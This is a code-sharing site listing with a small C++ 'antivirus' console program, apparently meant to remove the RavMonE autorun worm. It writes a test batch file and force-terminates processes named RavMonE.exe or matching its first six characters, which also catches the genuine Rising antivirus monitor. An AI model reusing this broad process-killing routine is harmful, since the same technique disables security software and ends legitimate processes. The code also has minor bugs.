autorun.txt
资源名称:autorun.rar [点击查看]
上传用户:q88shop
上传日期:2022-07-12
资源大小:2k
文件大小:6k
源码类别:
杀毒
开发平台:
Visual C++
- 1. // Antivirus_Console.cpp : Defines the entry point for the console application.
- 2. //
- 3.
- 4. #include "stdafx.h"
- 5. #include "PSAPI.H"
- 6. #include "Tlhelp32.h"
- 7. BOOL OnFindProcess(CString ProcessName, bool b_kill);
- 8. HANDLE OnCreateCMDFile();
- 9. int _tmain(int argc, _TCHAR* argv[])
- 10. {
- 11. LPWSTR m_filename = _T("Antivirus.bat");
- 12. BOOL m_append = TRUE;
- 13. HANDLE hCMDfile = CreateFile(
- 14. m_filename, GENERIC_WRITE, FILE_SHARE_READ, NULL,
- 15. OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL );
- 16.
- 17. if ( hCMDfile == INVALID_HANDLE_VALUE) {
- 18. // We should throw an exception here
- 19. MessageBox(NULL,_T("Error open .bat file"),_T("Error"),MB_OK);
- 20. }
- 21. if (m_append) {
- 22. SetFilePointer( hCMDfile, 0, NULL, FILE_END );
- 23. } else {
- 24. SetEndOfFile( hCMDfile );
- 25. }
- 26.
- 27. char *line = "Hello!nr test";
- 28. DWORD bytesWritten;
- 29. WriteFile(hCMDfile, line, strlen(line), &bytesWritten, NULL);
- 30. CloseHandle(hCMDfile);
- 31.
- 32. OnFindProcess(_T("RavMonE.exe"),TRUE);
- 33. return 0;
- 34. }
- 35.
- 36. BOOL OnFindProcess(CString ProcessName, bool b_kill)
- 37. {
- 38. CString left6str_processname;
- 39. if (ProcessName.GetLength() > 6)
- 40. left6str_processname = ProcessName.Left(6);
- 41. DWORD ProcessID[10000];
- 42. HANDLE SnapShot=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
- 43. PROCESSENTRY32 ProcessInfo;
- 44. ProcessInfo.dwSize=sizeof(ProcessInfo);
- 45. bool b_find = false;
- 46. try{
- 47. BOOL Status = Process32First(SnapShot,&ProcessInfo);
- 48. int m_nProcess = 0;
- 49. while(Status)
- 50. {
- 51. CString str1;
- 52. str1.Format(_T("%s"),ProcessInfo.szExeFile);
- 53. ProcessID[m_nProcess]=ProcessInfo.th32ProcessID;
- 54. if (ProcessName.Find(_T("."), 0) > 0)
- 55. {
- 56. if(str1.CompareNoCase(ProcessName) == 0 || str1.Left(str1.Find(_T("."), 0)).CompareNoCase(ProcessName.Left(ProcessName.Find(_T("."), 0))) == 0)//***.exe就是你要结束的进程的名称
- 57. {
- 58. if (!b_kill)
- 59. {
- 60. b_find = true;
- 61. goto Skip1;
- 62. }
- 63. else
- 64. {
- 65. HANDLE ProcessHandle;
- 66. ProcessHandle = OpenProcess (PROCESS_ALL_ACCESS, FALSE, ProcessID[m_nProcess]);
- 67. TerminateProcess(ProcessHandle, 0);
- 68. if (ProcessHandle)
- 69. {
- 70. CloseHandle(ProcessHandle);
- 71. ProcessHandle = NULL;
- 72. }
- 73. }
- 74. }
- 75. if (str1.GetLength() > 6 && ProcessName.GetLength() > 6)
- 76. {
- 77. if(str1.Left(6).CompareNoCase(left6str_processname) == 0)
- 78. {
- 79. if (!b_kill)
- 80. {
- 81. b_find = true;
- 82. goto Skip1;
- 83. }
- 84. else
- 85. {
- 86. HANDLE ProcessHandle;
- 87. ProcessHandle = OpenProcess (PROCESS_ALL_ACCESS, FALSE, ProcessID[m_nProcess]);
- 88. TerminateProcess(ProcessHandle, 0);
- 89. if (ProcessHandle)
- 90. {
- 91. CloseHandle(ProcessHandle);
- 92. ProcessHandle = NULL;
- 93. }
- 94. }
- 95. }
- 96. }
- 97. }
- 98. else
- 99. {
- 100. if(str1.Left(ProcessName.GetLength()).CompareNoCase(ProcessName) == 0)//***.exe就是你要结束的进程的名称
- 101. {
- 102. if (!b_kill)
- 103. {
- 104. b_find = true;
- 105. goto Skip1;
- 106. }
- 107. else
- 108. {
- 109. HANDLE ProcessHandle;
- 110. ProcessHandle = OpenProcess (PROCESS_ALL_ACCESS, FALSE, ProcessID[m_nProcess]);
- 111. TerminateProcess(ProcessHandle, 0);
- 112. if (ProcessHandle)
- 113. {
- 114. CloseHandle(ProcessHandle);
- 115. ProcessHandle = NULL;
- 116. }
- 117. }
- 118. }
- 119. }
- 120. Status=Process32Next(SnapShot,&ProcessInfo);
- 121. m_nProcess++;
- 122. }
- 123. }
- 124. catch (...) {
- 125. }
- 126. Skip1:
- 127. if (SnapShot)
- 128. {
- 129. CloseHandle(SnapShot);
- 130. SnapShot = NULL;
- 131. }
- 132. if (b_find)
- 133. return TRUE;
- 134. else
- 135. return FALSE;
- 136. }